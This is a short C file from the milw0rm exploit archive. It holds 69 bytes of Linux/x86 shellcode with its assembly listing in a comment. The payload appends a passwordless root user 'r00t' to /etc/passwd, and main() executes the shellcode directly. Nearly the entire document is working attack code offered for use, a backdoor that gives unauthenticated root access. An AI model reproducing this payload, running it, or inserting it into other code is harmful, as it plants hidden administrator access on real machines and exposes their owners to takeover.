/* By Kris Katterjohn 11/14/2006

 *

 * 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd

 *

 * for Linux/x86

 *

 *

 *

 * section .text

 *

 *      global _start

 *

 * _start:

 *

 * ; open("/etc//passwd", O_WRONLY | O_APPEND)

 *

 *      push byte 5

 *      pop eax

 *      xor ecx, ecx

 *      push ecx

 *      push 0x64777373

 *      push 0x61702f2f

 *      push 0x6374652f

 *      mov ebx, esp

 *      mov cx, 02001Q

 *      int 0x80

 *

 *      mov ebx, eax

 *

 * ; write(ebx, "r00t::0:0:::", 12)

 *

 *      push byte 4

 *      pop eax

 *      xor edx, edx

 *      push edx

 *      push 0x3a3a3a30

 *      push 0x3a303a3a

 *      push 0x74303072

 *      mov ecx, esp

 *      push byte 12

 *      pop edx

 *      int 0x80

 *

 * ; close(ebx)

 *

 *      push byte 6

 *      pop eax

 *      int 0x80

 *

 * ; exit()

 *

 *      push byte 1

 *      pop eax

 *      int 0x80

 */



main()

{

       char shellcode[] =

               "\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68"

               "\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66"

               "\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2"

               "\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68"

               "\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a"

               "\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";



       (*(void (*)()) shellcode)();

}



// milw0rm.com [2006-11-17]

powered by performancing firefox